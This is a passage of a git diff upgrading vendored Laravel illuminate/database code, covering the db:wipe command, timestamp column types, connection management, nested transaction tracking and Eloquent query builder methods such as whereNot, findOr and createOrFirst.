$this->newLine(); + + $this->components->twoColumnDetail(''.$table['name'].''); + $this->components->twoColumnDetail('Columns', $table['columns']); + + if ($size = $table['size']) { + $this->components->twoColumnDetail('Size', number_format($size / 1024 / 1024, 2).'MiB'); + } + + $this->newLine(); + + if ($columns->isNotEmpty()) { + $this->components->twoColumnDetail('Column', 'Type'); + + $columns->each(function ($column) { + $this->components->twoColumnDetail( + $column['column'].' '.$column['attributes']->implode(', ').'', + (! is_null($column['default']) ? ''.$column['default'].' ' : '').''.$column['type'].'' + ); + }); + + $this->newLine(); + } + + if ($indexes->isNotEmpty()) { + $this->components->twoColumnDetail('Index'); + + $indexes->each(function ($index) { + $this->components->twoColumnDetail( + $index['name'].' '.$index['columns']->implode(', ').'', + $index['attributes']->implode(', ') + ); + }); + + $this->newLine(); + } + + if ($foreignKeys->isNotEmpty()) { + $this->components->twoColumnDetail('Foreign Key', 'On Update / On Delete'); + + $foreignKeys->each(function ($foreignKey) { + $this->components->twoColumnDetail( + $foreignKey['name'].' '.$foreignKey['local_columns']->implode(', ').' references '.$foreignKey['foreign_columns']->implode(', ').' on '.$foreignKey['foreign_table'].'', + $foreignKey['on_update'].' / '.$foreignKey['on_delete'], + ); + }); + + $this->newLine(); + } + } +} diff --git a/vendor/illuminate/database/Console/WipeCommand.php b/vendor/illuminate/database/Console/WipeCommand.php index 30825ed7c..e9c8e956d 100644 --- a/vendor/illuminate/database/Console/WipeCommand.php +++ b/vendor/illuminate/database/Console/WipeCommand.php @@ -4,8 +4,10 @@ use Illuminate\Console\Command; use Illuminate\Console\ConfirmableTrait; +use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Input\InputOption; +#[AsCommand(name: 'db:wipe')] class WipeCommand extends Command { use ConfirmableTrait; @@ -40,17 +42,17 @@ public function handle() if ($this->option('drop-views')) { $this->dropAllViews($database); - $this->info('Dropped all views successfully.'); + $this->components->info('Dropped all views successfully.'); } $this->dropAllTables($database); - $this->info('Dropped all tables successfully.'); + $this->components->info('Dropped all tables successfully.'); if ($this->option('drop-types')) { $this->dropAllTypes($database); - $this->info('Dropped all types successfully.'); + $this->components->info('Dropped all types successfully.'); } return 0; diff --git a/vendor/illuminate/database/DBAL/TimestampType.php b/vendor/illuminate/database/DBAL/TimestampType.php index 1557f124e..b5d977750 100644 --- a/vendor/illuminate/database/DBAL/TimestampType.php +++ b/vendor/illuminate/database/DBAL/TimestampType.php @@ -2,59 +2,66 @@ namespace Illuminate\Database\DBAL; +use Doctrine\DBAL\Exception as DBALException; use Doctrine\DBAL\Platforms\AbstractPlatform; +use Doctrine\DBAL\Platforms\MariaDb1027Platform; +use Doctrine\DBAL\Platforms\MariaDb1052Platform; +use Doctrine\DBAL\Platforms\MariaDb1060Platform; +use Doctrine\DBAL\Platforms\MariaDBPlatform; +use Doctrine\DBAL\Platforms\MySQL57Platform; +use Doctrine\DBAL\Platforms\MySQL80Platform; +use Doctrine\DBAL\Platforms\MySQLPlatform; +use Doctrine\DBAL\Platforms\PostgreSQL100Platform; +use Doctrine\DBAL\Platforms\PostgreSQL94Platform; +use Doctrine\DBAL\Platforms\PostgreSQLPlatform; +use Doctrine\DBAL\Platforms\SqlitePlatform; +use Doctrine\DBAL\Platforms\SQLServer2012Platform; +use Doctrine\DBAL\Platforms\SQLServerPlatform; use Doctrine\DBAL\Types\PhpDateTimeMappingType; use Doctrine\DBAL\Types\Type; -use RuntimeException; class TimestampType extends Type implements PhpDateTimeMappingType { /** * {@inheritdoc} * - * @return string + * @throws DBALException */ - public function getSQLDeclaration(array $fieldDeclaration, AbstractPlatform $platform) + public function getSQLDeclaration(array $column, AbstractPlatform $platform): string { - $name = $platform->getName(); - - switch ($name) { - case 'mysql': - case 'mysql2': - return $this->getMySqlPlatformSQLDeclaration($fieldDeclaration); - - case 'postgresql': - case 'pgsql': - case 'postgres': - return $this->getPostgresPlatformSQLDeclaration($fieldDeclaration); - - case 'mssql': - return $this->getSqlServerPlatformSQLDeclaration($fieldDeclaration); - - case 'sqlite': - case 'sqlite3': - return $this->getSQLitePlatformSQLDeclaration($fieldDeclaration); - - default: - throw new RuntimeException('Invalid platform: '.$name); - } + return match (get_class($platform)) { + MySQLPlatform::class, + MySQL57Platform::class, + MySQL80Platform::class, + MariaDBPlatform::class, + MariaDb1027Platform::class, + MariaDb1052Platform::class, + MariaDb1060Platform::class => $this->getMySqlPlatformSQLDeclaration($column), + PostgreSQLPlatform::class, + PostgreSQL94Platform::class, + PostgreSQL100Platform::class => $this->getPostgresPlatformSQLDeclaration($column), + SQLServerPlatform::class, + SQLServer2012Platform::class => $this->getSqlServerPlatformSQLDeclaration($column), + SqlitePlatform::class => 'DATETIME', + default => throw new DBALException('Invalid platform: '.substr(strrchr(get_class($platform), '\\'), 1)), + }; } /** * Get the SQL declaration for MySQL. * - * @param array $fieldDeclaration + * @param array $column * @return string */ - protected function getMySqlPlatformSQLDeclaration(array $fieldDeclaration) + protected function getMySqlPlatformSQLDeclaration(array $column): string { $columnType = 'TIMESTAMP'; - if ($fieldDeclaration['precision']) { - $columnType = 'TIMESTAMP('.$fieldDeclaration['precision'].')'; + if ($column['precision']) { + $columnType = 'TIMESTAMP('.min((int) $column['precision'], 6).')'; } - $notNull = $fieldDeclaration['notnull'] ?? false; + $notNull = $column['notnull'] ?? false; if (! $notNull) { return $columnType.' NULL'; @@ -66,36 +73,25 @@ protected function getMySqlPlatformSQLDeclaration(array $fieldDeclaration) /** * Get the SQL declaration for PostgreSQL. * - * @param array $fieldDeclaration + * @param array $column * @return string */ - protected function getPostgresPlatformSQLDeclaration(array $fieldDeclaration) + protected function getPostgresPlatformSQLDeclaration(array $column): string { - return 'TIMESTAMP('.(int) $fieldDeclaration['precision'].')'; + return 'TIMESTAMP('.min((int) $column['precision'], 6).')'; } /** * Get the SQL declaration for SQL Server. * - * @param array $fieldDeclaration - * @return string - */ - protected function getSqlServerPlatformSQLDeclaration(array $fieldDeclaration) - { - return $fieldDeclaration['precision'] ?? false - ? 'DATETIME2('.$fieldDeclaration['precision'].')' - : 'DATETIME'; - } - - /** - * Get the SQL declaration for SQLite. - * - * @param array $fieldDeclaration + * @param array $column * @return string */ - protected function getSQLitePlatformSQLDeclaration(array $fieldDeclaration) + protected function getSqlServerPlatformSQLDeclaration(array $column): string { - return 'DATETIME'; + return $column['precision'] ?? false + ? 'DATETIME2('.min((int) $column['precision'], 7).')' + : 'DATETIME'; } /** diff --git a/vendor/illuminate/database/DatabaseManager.php b/vendor/illuminate/database/DatabaseManager.php index cb823bfa3..daefffee9 100644 --- a/vendor/illuminate/database/DatabaseManager.php +++ b/vendor/illuminate/database/DatabaseManager.php @@ -4,9 +4,11 @@ use Doctrine\DBAL\Types\Type; use Illuminate\Database\Connectors\ConnectionFactory; +use Illuminate\Database\Events\ConnectionEstablished; use Illuminate\Support\Arr; use Illuminate\Support\ConfigurationUrlParser; use Illuminate\Support\Str; +use Illuminate\Support\Traits\Macroable; use InvalidArgumentException; use PDO; use RuntimeException; @@ -16,6 +18,10 @@ */ class DatabaseManager implements ConnectionResolverInterface { + use Macroable { + __call as macroCall; + } + /** * The application instance. * @@ -33,14 +39,14 @@ class DatabaseManager implements ConnectionResolverInterface /** * The active connection instances. * - * @var array + * @var array */ protected $connections = []; /** * The custom connection resolvers. * - * @var array + * @var array */ protected $extensions = []; @@ -54,7 +60,7 @@ class DatabaseManager implements ConnectionResolverInterface /** * The custom Doctrine column types. * - * @var array + * @var array */ protected $doctrineTypes = []; @@ -94,11 +100,40 @@ public function connection($name = null) $this->connections[$name] = $this->configure( $this->makeConnection($database), $type ); + + $this->dispatchConnectionEstablishedEvent($this->connections[$name]); } return $this->connections[$name]; } + /** + * Get a database connection instance from the given configuration. + * + * @param string $name + * @param array $config + * @param bool $force + * @return \Illuminate\Database\ConnectionInterface + */ + public function connectUsing(string $name, array $config, bool $force = false) + { + if ($force) { + $this->purge($name); + } + + if (isset($this->connections[$name])) { + throw new RuntimeException("Cannot establish connection [$name] because another connection with that name already exists."); + } + + $connection = $this->configure( + $this->factory->make($config, $name), null + ); + + $this->dispatchConnectionEstablishedEvent($connection); + + return tap($connection, fn ($connection) => $this->connections[$name] = $connection); + } + /** * Parse the connection into an array of the name and read / write type. * @@ -197,6 +232,23 @@ protected function configure(Connection $connection, $type) return $connection; } + /** + * Dispatch the ConnectionEstablished event if the event dispatcher is available. + * + * @param \Illuminate\Database\Connection $connection + * @return void + */ + protected function dispatchConnectionEstablishedEvent(Connection $connection) + { + if (! $this->app->bound('events')) { + return; + } + + $this->app['events']->dispatch( + new ConnectionEstablished($connection) + ); + } + /** * Prepare the read / write mode for database connection instance. * @@ -240,7 +292,7 @@ protected function registerConfiguredDoctrineTypes(Connection $connection): void * @param string $type * @return void * - * @throws \Doctrine\DBAL\DBALException + * @throws \Doctrine\DBAL\Exception * @throws \RuntimeException */ public function registerDoctrineType(string $class, string $name, string $type): void @@ -364,7 +416,7 @@ public function setDefaultConnection($name) /** * Get all of the support drivers. * - * @return array + * @return string[] */ public function supportedDrivers() { @@ -374,7 +426,7 @@ public function supportedDrivers() /** * Get all of the drivers that are actually available. * - * @return array + * @return string[] */ public function availableDrivers() { @@ -396,10 +448,21 @@ public function extend($name, callable $resolver) $this->extensions[$name] = $resolver; } + /** + * Remove an extension connection resolver. + * + * @param string $name + * @return void + */ + public function forgetExtension($name) + { + unset($this->extensions[$name]); + } + /** * Return all of the created connections. * - * @return array + * @return array */ public function getConnections() { @@ -439,6 +502,10 @@ public function setApplication($app) */ public function __call($method, $parameters) { + if (static::hasMacro($method)) { + return $this->macroCall($method, $parameters); + } + return $this->connection()->$method(...$parameters); } } diff --git a/vendor/illuminate/database/DatabaseServiceProvider.php b/vendor/illuminate/database/DatabaseServiceProvider.php index 4b6521b70..9a2f47d1b 100644 --- a/vendor/illuminate/database/DatabaseServiceProvider.php +++ b/vendor/illuminate/database/DatabaseServiceProvider.php @@ -70,6 +70,10 @@ protected function registerConnectionServices() return $app['db']->connection(); }); + $this->app->bind('db.schema', function ($app) { + return $app['db']->connection()->getSchemaBuilder(); + }); + $this->app->singleton('db.transactions', function ($app) { return new DatabaseTransactionsManager; }); diff --git a/vendor/illuminate/database/DatabaseTransactionRecord.php b/vendor/illuminate/database/DatabaseTransactionRecord.php index 3259552dc..c35acb184 100644 --- a/vendor/illuminate/database/DatabaseTransactionRecord.php +++ b/vendor/illuminate/database/DatabaseTransactionRecord.php @@ -18,6 +18,13 @@ class DatabaseTransactionRecord */ public $level; + /** + * The parent instance of this transaction. + * + * @var \Illuminate\Database\DatabaseTransactionRecord + */ + public $parent; + /** * The callbacks that should be executed after committing. * @@ -30,12 +37,14 @@ class DatabaseTransactionRecord * * @param string $connection * @param int $level + * @param \Illuminate\Database\DatabaseTransactionRecord|null $parent * @return void */ - public function __construct($connection, $level) + public function __construct($connection, $level, ?DatabaseTransactionRecord $parent = null) { $this->connection = $connection; $this->level = $level; + $this->parent = $parent; } /** @@ -57,7 +66,7 @@ public function addCallback($callback) public function executeCallbacks() { foreach ($this->callbacks as $callback) { - call_user_func($callback); + $callback(); } } diff --git a/vendor/illuminate/database/DatabaseTransactionsManager.php b/vendor/illuminate/database/DatabaseTransactionsManager.php index add2f7c1a..ee2889a2d 100644 --- a/vendor/illuminate/database/DatabaseTransactionsManager.php +++ b/vendor/illuminate/database/DatabaseTransactionsManager.php @@ -2,14 +2,30 @@ namespace Illuminate\Database; +use Illuminate\Support\Collection; + class DatabaseTransactionsManager { /** - * All of the recorded transactions. + * All of the committed transactions. + * + * @var \Illuminate\Support\Collection + */ + protected $committedTransactions; + + /** + * All of the pending transactions. * - * @var \Illuminate\Support\Collection + * @var \Illuminate\Support\Collection */ - protected $transactions; + protected $pendingTransactions; + + /** + * The current transaction. + * + * @var array + */ + protected $currentTransaction = []; /** * Create a new database transactions manager instance. @@ -18,7 +34,8 @@ class DatabaseTransactionsManager */ public function __construct() { - $this->transactions = collect(); + $this->committedTransactions = new Collection; + $this->pendingTransactions = new Collection; } /** @@ -30,43 +47,147 @@ public function __construct() */ public function begin($connection, $level) { - $this->transactions->push( - new DatabaseTransactionRecord($connection, $level) + $this->pendingTransactions->push( + $newTransaction = new DatabaseTransactionRecord( + $connection, + $level, + $this->currentTransaction[$connection] ?? null + ) ); + + $this->currentTransaction[$connection] = $newTransaction; } /** - * Rollback the active database transaction. + * Commit the root database transaction and execute callbacks. * * @param string $connection - * @param int $level + * @param int $levelBeingCommitted + * @param int $newTransactionLevel + * @return array + */ + public function commit($connection, $levelBeingCommitted, $newTransactionLevel) + { + $this->stageTransactions($connection, $levelBeingCommitted); + + if (isset($this->currentTransaction[$connection])) { + $this->currentTransaction[$connection] = $this->currentTransaction[$connection]->parent; + } + + if (! $this->afterCommitCallbacksShouldBeExecuted($newTransactionLevel) && + $newTransactionLevel !== 0) { + return []; + } + + // This method is only called when the root database transaction is committed so there + // shouldn't be any pending transactions, but going to clear them here anyways just + // in case. This method could be refactored to receive a level in the future too. + $this->pendingTransactions = $this->pendingTransactions->reject( + fn ($transaction) => $transaction->connection === $connection && + $transaction->level >= $levelBeingCommitted + )->values(); + + [$forThisConnection, $forOtherConnections] = $this->committedTransactions->partition( + fn ($transaction) => $transaction->connection == $connection + ); + + $this->committedTransactions = $forOtherConnections->values(); + + $forThisConnection->map->executeCallbacks(); + + return $forThisConnection; + } + + /** + * Move relevant pending transactions to a committed state. + * + * @param string $connection + * @param int $levelBeingCommitted * @return void */ - public function rollback($connection, $level) + public function stageTransactions($connection, $levelBeingCommitted) { - $this->transactions = $this->transactions->reject(function ($transaction) use ($connection, $level) { - return $transaction->connection == $connection && - $transaction->level > $level; - })->values(); + $this->committedTransactions = $this->committedTransactions->merge( + $this->pendingTransactions->filter( + fn ($transaction) => $transaction->connection === $connection && + $transaction->level >= $levelBeingCommitted + ) + ); + + $this->pendingTransactions = $this->pendingTransactions->reject( + fn ($transaction) => $transaction->connection === $connection && + $transaction->level >= $levelBeingCommitted + ); } /** - * Commit the active database transaction. + * Rollback the active database transaction. * * @param string $connection + * @param int $newTransactionLevel * @return void */ - public function commit($connection) + public function rollback($connection, $newTransactionLevel) { - [$forThisConnection, $forOtherConnections] = $this->transactions->partition( - function ($transaction) use ($connection) { - return $transaction->connection == $connection; + if ($newTransactionLevel === 0) { + $this->removeAllTransactionsForConnection($connection); + } else { + $this->pendingTransactions = $this->pendingTransactions->reject( + fn ($transaction) => $transaction->connection == $connection && + $transaction->level > $newTransactionLevel + )->values(); + + if ($this->currentTransaction) { + do { + $this->removeCommittedTransactionsThatAreChildrenOf($this->currentTransaction[$connection]); + + $this->currentTransaction[$connection] = $this->currentTransaction[$connection]->parent; + } while ( + isset($this->currentTransaction[$connection]) && + $this->currentTransaction[$connection]->level > $newTransactionLevel + ); } - ); + } + } - $this->transactions = $forOtherConnections->values(); + /** + * Remove all pending, completed, and current transactions for the given connection name. + * + * @param string $connection + * @return void + */ + protected function removeAllTransactionsForConnection($connection) + { + $this->currentTransaction[$connection] = null; - $forThisConnection->map->executeCallbacks(); + $this->pendingTransactions = $this->pendingTransactions->reject( + fn ($transaction) => $transaction->connection == $connection + )->values(); + + $this->committedTransactions = $this->committedTransactions->reject( + fn ($transaction) => $transaction->connection == $connection + )->values(); + } + + /** + * Remove all transactions that are children of the given transaction. + * + * @param \Illuminate\Database\DatabaseTransactionRecord $transaction + * @return void + */ + protected function removeCommittedTransactionsThatAreChildrenOf(DatabaseTransactionRecord $transaction) + { + [$removedTransactions, $this->committedTransactions] = $this->committedTransactions->partition( + fn ($committed) => $committed->connection == $transaction->connection && + $committed->parent === $transaction + ); + + // There may be multiple deeply nested transactions that have already committed that we + // also need to remove. We will recurse down the children of all removed transaction + // instances until there are no more deeply nested child transactions for removal. + $removedTransactions->each( + fn ($transaction) => $this->removeCommittedTransactionsThatAreChildrenOf($transaction) + ); } /** @@ -77,20 +198,51 @@ function ($transaction) use ($connection) { */ public function addCallback($callback) { - if ($current = $this->transactions->last()) { + if ($current = $this->callbackApplicableTransactions()->last()) { return $current->addCallback($callback); } - call_user_func($callback); + $callback(); + } + + /** + * Get the transactions that are applicable to callbacks. + * + * @return \Illuminate\Support\Collection + */ + public function callbackApplicableTransactions() + { + return $this->pendingTransactions; + } + + /** + * Determine if after commit callbacks should be executed for the given transaction level. + * + * @param int $level + * @return bool + */ + public function afterCommitCallbacksShouldBeExecuted($level) + { + return $level === 0; + } + + /** + * Get all of the pending transactions. + * + * @return \Illuminate\Support\Collection + */ + public function getPendingTransactions() + { + return $this->pendingTransactions; } /** - * Get all the transactions. + * Get all of the committed transactions. * * @return \Illuminate\Support\Collection */ - public function getTransactions() + public function getCommittedTransactions() { - return $this->transactions; + return $this->committedTransactions; } } diff --git a/vendor/illuminate/database/DeadlockException.php b/vendor/illuminate/database/DeadlockException.php new file mode 100644 index 000000000..375a39bc9 --- /dev/null +++ b/vendor/illuminate/database/DeadlockException.php @@ -0,0 +1,10 @@ +query->whereIn($this->model->getQualifiedKeyName(), $id); + if (in_array($this->model->getKeyType(), ['int', 'integer'])) { + $this->query->whereIntegerInRaw($this->model->getQualifiedKeyName(), $id); + } else { + $this->query->whereIn($this->model->getQualifiedKeyName(), $id); + } return $this; } @@ -250,7 +268,11 @@ public function whereKeyNot($id) } if (is_array($id) || $id instanceof Arrayable) { - $this->query->whereNotIn($this->model->getQualifiedKeyName(), $id); + if (in_array($this->model->getKeyType(), ['int', 'integer'])) { + $this->query->whereIntegerNotInRaw($this->model->getQualifiedKeyName(), $id); + } else { + $this->query->whereNotIn($this->model->getQualifiedKeyName(), $id); + } return $this; } @@ -265,7 +287,7 @@ public function whereKeyNot($id) /** * Add a basic where clause to the query. * - * @param \Closure|string|array|\Illuminate\Database\Query\Expression $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @param string $boolean @@ -287,7 +309,7 @@ public function where($column, $operator = null, $value = null, $boolean = 'and' /** * Add a basic where clause to the query, and return the first result. * - * @param \Closure|string|array|\Illuminate\Database\Query\Expression $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @param string $boolean @@ -295,13 +317,13 @@ public function where($column, $operator = null, $value = null, $boolean = 'and' */ public function firstWhere($column, $operator = null, $value = null, $boolean = 'and') { - return $this->where($column, $operator, $value, $boolean)->first(); + return $this->where(...func_get_args())->first(); } /** * Add an "or where" clause to the query. * - * @param \Closure|array|string|\Illuminate\Database\Query\Expression $column + * @param \Closure|array|string|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @return $this @@ -315,10 +337,37 @@ public function orWhere($column, $operator = null, $value = null) return $this->where($column, $operator, $value, 'or'); } + /** + * Add a basic "where not" clause to the query. + * + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column + * @param mixed $operator + * @param mixed $value + * @param string $boolean + * @return $this + */ + public function whereNot($column, $operator = null, $value = null, $boolean = 'and') + { + return $this->where($column, $operator, $value, $boolean.' not'); + } + + /** + * Add an "or where not" clause to the query. + * + * @param \Closure|array|string|\Illuminate\Contracts\Database\Query\Expression $column + * @param mixed $operator + * @param mixed $value + * @return $this + */ + public function orWhereNot($column, $operator = null, $value = null) + { + return $this->whereNot($column, $operator, $value, 'or'); + } + /** * Add an "order by" clause for a timestamp to the query. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @return $this */ public function latest($column = null) @@ -335,7 +384,7 @@ public function latest($column = null) /** * Add an "order by" clause for a timestamp to the query. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @return $this */ public function oldest($column = null) @@ -388,7 +437,7 @@ public function fromQuery($query, $bindings = []) * Find a model by its primary key. * * @param mixed $id - * @param array $columns + * @param array|string $columns * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection|static[]|static|null */ public function find($id, $columns = ['*']) @@ -404,7 +453,7 @@ public function find($id, $columns = ['*']) * Find multiple models by their primary keys. * * @param \Illuminate\Contracts\Support\Arrayable|array $ids - * @param array $columns + * @param array|string $columns * @return \Illuminate\Database\Eloquent\Collection */ public function findMany($ids, $columns = ['*']) @@ -422,10 +471,10 @@ public function findMany($ids, $columns = ['*']) * Find a model by its primary key or throw an exception. * * @param mixed $id - * @param array $columns + * @param array|string $columns * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection|static|static[] * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function findOrFail($id, $columns = ['*']) { @@ -434,23 +483,29 @@ public function findOrFail($id, $columns = ['*']) $id = $id instanceof Arrayable ? $id->toArray() : $id; if (is_array($id)) { - if (count($result) === count(array_unique($id))) { - return $result; + if (count($result) !== count(array_unique($id))) { + throw (new ModelNotFoundException)->setModel( + get_class($this->model), array_diff($id, $result->modelKeys()) + ); } - } elseif (! is_null($result)) { + return $result; } - throw (new ModelNotFoundException)->setModel( - get_class($this->model), $id - ); + if (is_null($result)) { + throw (new ModelNotFoundException)->setModel( + get_class($this->model), $id + ); + } + + return $result; } /** * Find a model by its primary key or return fresh model instance. * * @param mixed $id - * @param array $columns + * @param array|string $columns * @return \Illuminate\Database\Eloquent\Model|static */ public function findOrNew($id, $columns = ['*']) @@ -462,6 +517,29 @@ public function findOrNew($id, $columns = ['*']) return $this->newModelInstance(); } + /** + * Find a model by its primary key or call a callback. + * + * @param mixed $id + * @param \Closure|array|string $columns + * @param \Closure|null $callback + * @return \Illuminate\Database\Eloquent\Model|\Illuminate\Database\Eloquent\Collection|static[]|static|mixed + */ + public function findOr($id, $columns = ['*'], Closure $callback = null) + { + if ($columns instanceof Closure) { + $callback = $columns; + + $columns = ['*']; + } + + if (! is_null($model = $this->find($id, $columns))) { + return $model; + } + + return $callback(); + } + /** * Get the first record matching the attributes or instantiate it. * @@ -479,7 +557,7 @@ public function firstOrNew(array $attributes = [], array $values = []) } /** - * Get the first record matching the attributes or create it. + * Get the first record matching the attributes. If the record is not found, create it. * * @param array $attributes * @param array $values @@ -487,13 +565,27 @@ public function firstOrNew(array $attributes = [], array $values = []) */ public function firstOrCreate(array $attributes = [], array $values = []) { - if (! is_null($instance = $this->where($attributes)->first())) { + if (! is_null($instance = (clone $this)->where($attributes)->first())) { return $instance; } - return tap($this->newModelInstance(array_merge($attributes, $values)), function ($instance) { - $instance->save(); - }); + return $this->createOrFirst($attributes, $values); + } + + /** + * Attempt to create the record. If a unique constraint violation occurs, attempt to find the matching record. + * + * @param array $attributes + * @param array $values + * @return \Illuminate\Database\Eloquent\Model|static + */ + public function createOrFirst(array $attributes = [], array $values = []) + { + try { + return $this->withSavepointIfNeeded(fn () => $this->create(array_merge($attributes, $values))); + } catch (UniqueConstraintViolationException $e) { + return $this->useWritePdo()->where($attributes)->first() ?? throw $e; + } } /** @@ -505,18 +597,20 @@ public function firstOrCreate(array $attributes = [], array $values = []) */ public function updateOrCreate(array $attributes, array $values = []) { - return tap($this->firstOrNew($attributes), function ($instance) use ($values) { - $instance->fill($values)->save(); + return tap($this->firstOrCreate($attributes, $values), function ($instance) use ($values) { + if (! $instance->wasRecentlyCreated) { + $instance->fill($values)->save(); + } }); } /** * Execute the query and get the first result or throw an exception. * - * @param array $columns + * @param array|string $columns * @return \Illuminate\Database\Eloquent\Model|static * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function firstOrFail($columns = ['*']) { @@ -530,7 +624,7 @@ public function firstOrFail($columns = ['*']) /** * Execute the query and get the first result or call a callback. * - * @param \Closure|array $columns + * @param \Closure|array|string $columns * @param \Closure|null $callback * @return \Illuminate\Database\Eloquent\Model|static|mixed */ @@ -555,14 +649,14 @@ public function firstOr($columns = ['*'], Closure $callback = null) * @param array|string $columns * @return \Illuminate\Database\Eloquent\Model * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> * @throws \Illuminate\Database\MultipleRecordsFoundException */ public function sole($columns = ['*']) { try { return $this->baseSole($columns); - } catch (RecordsNotFoundException $exception) { + } catch (RecordsNotFoundException) { throw (new ModelNotFoundException)->setModel(get_class($this->model)); } } @@ -570,26 +664,46 @@ public function sole($columns = ['*']) /** * Get a single column's value from the first result of a query. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @return mixed */ public function value($column) { if ($result = $this->first([$column])) { + $column = $column instanceof Expression ? $column->getValue($this->getGrammar()) : $column; + return $result->{Str::afterLast($column, '.')}; } } + /** + * Get a single column's value from the first result of a query if it's the sole matching record. + * + * @param string|\Illuminate\Contracts\Database\Query\Expression $column + * @return mixed + * + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> + * @throws \Illuminate\Database\MultipleRecordsFoundException + */ + public function soleValue($column) + { + $column = $column instanceof Expression ? $column->getValue($this->getGrammar()) : $column; + + return $this->sole([$column])->{Str::afterLast($column, '.')}; + } + /** * Get a single column's value from the first result of the query or throw an exception. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @return mixed * - * @throws \Illuminate\Database\Eloquent\ModelNotFoundException + * @throws \Illuminate\Database\Eloquent\ModelNotFoundException<\Illuminate\Database\Eloquent\Model> */ public function valueOrFail($column) { + $column = $column instanceof Expression ? $column->getValue($this->getGrammar()) : $column; + return $this->firstOrFail([$column])->{Str::afterLast($column, '.')}; } @@ -638,7 +752,7 @@ public function eagerLoadRelations(array $models) // For nested eager loads we'll skip loading them here and they will be set as an // eager load on the query to retrieve the relation so that they will be eager // loaded on that query, because that is where they get hydrated as models. - if (strpos($name, '.') === false) { + if (! str_contains($name, '.')) { $models = $this->eagerLoadRelation($models, $name, $constraints); } } @@ -688,7 +802,7 @@ public function getRelation($name) $relation = Relation::noConstraints(function () use ($name) { try { return $this->getModel()->newInstance()->$name(); - } catch (BadMethodCallException $e) { + } catch (BadMethodCallException) { throw RelationNotFoundException::make($this->getModel(), $name); } }); @@ -736,7 +850,7 @@ protected function relationsNestedUnder($relation) */ protected function isNestedUnder($relation, $name) { - return Str::contains($name, '.') && Str::startsWith($name, $relation.'.'); + return str_contains($name, '.') && str_starts_with($name, $relation.'.'); } /** @@ -764,9 +878,9 @@ protected function enforceOrderBy() } /** - * Get an array with the values of a given column. + * Get a collection with the values of a given column. * - * @param string|\Illuminate\Database\Query\Expression $column + * @param string|\Illuminate\Contracts\Database\Query\Expression $column * @param string|null $key * @return \Illuminate\Support\Collection */ @@ -774,6 +888,8 @@ public function pluck($column, $key = null) { $results = $this->toBase()->pluck($column, $key); + $column = $column instanceof Expression ? $column->getValue($this->getGrammar()) : $column; + // If the model has a mutator for the requested column, we will spin through // the results and mutate the values so that the mutated version of these // columns are returned as you would expect from these Eloquent models. @@ -791,10 +907,11 @@ public function pluck($column, $key = null) /** * Paginate the given query. * - * @param int|null $perPage - * @param array $columns + * @param int|null|\Closure $perPage + * @param array|string $columns * @param string $pageName * @param int|null $page + * @param \Closure|int|null $total * @return \Illuminate\Contracts\Pagination\LengthAwarePaginator * * @throws \InvalidArgumentException @@ -803,11 +920,16 @@ public function paginate($perPage = null, $columns = ['*'], $pageName = 'page', { $page = $page ?: Paginator::resolveCurrentPage($pageName); - $perPage = $perPage ?: $this->model->getPerPage(); + $total = func_num_args() === 5 ? value(func_get_arg(4)) : $this->toBase()->getCountForPagination(); + + $perPage = ($perPage instanceof Closure + ? $perPage($total) + : $perPage + ) ?: $this->model->getPerPage(); - $results = ($total = $this->toBase()->getCountForPagination()) - ? $this->forPage($page, $perPage)->get($columns) - : $this->model->newCollection(); + $results = $total + ? $this->forPage($page, $perPage)->get($columns) + : $this->model->newCollection(); return $this->paginator($results, $total, $perPage, $page, [ 'path' => Paginator::resolveCurrentPath(), @@ -819,7 +941,7 @@ public function paginate($perPage = null, $columns = ['*'], $pageName = 'page', * Paginate the given query into a simple paginator. * * @param int|null $perPage - * @param array $columns + * @param array|string $columns * @param string $pageName * @param int|null $page * @return \Illuminate\Contracts\Pagination\Paginator @@ -845,7 +967,7 @@ public function simplePaginate($perPage = null, $columns = ['*'], $pageName = 'p * Paginate the given query into a cursor paginator. * * @param int|null $perPage - * @param array $columns + * @param array|string $columns * @param string $cursorName * @param \Illuminate\Pagination\Cursor|string|null $cursor * @return \Illuminate\Contracts\Pagination\CursorPaginator @@ -869,19 +991,26 @@ protected function ensureOrderForCursorPagination($shouldReverse = false) $this->enforceOrderBy(); } - if ($shouldReverse) { - $this->query->orders = collect($this->query->orders)->map(function ($order) { - $order['direction'] = $order['direction'] === 'asc' ? 'desc' : 'asc'; - + $reverseDirection = function ($order) { + if (! isset($order['direction'])) { return $order; - })->toArray(); - } + } + + $order['direction'] = $order['direction'] === 'asc' ? 'desc' : 'asc'; - if ($this->query->unionOrders) { - return collect($this->query->unionOrders); + return $order; + }; + + if ($shouldReverse) { + $this->query->orders = collect($this->query->orders)->map($reverseDirection)->toArray(); + $this->query->unionOrders = collect($this->query->unionOrders)->map($reverseDirection)->toArray(); } - return collect($this->query->orders); + $orders = ! empty($this->query->unionOrders) ? $this->query->unionOrders : $this->query->orders; + + return collect($orders) + ->filter(fn ($order) => Arr::has($order, 'direction')) + ->values(); } /** @@ -910,6 +1039,17 @@ public function forceCreate(array $attributes) }); } + /** + * 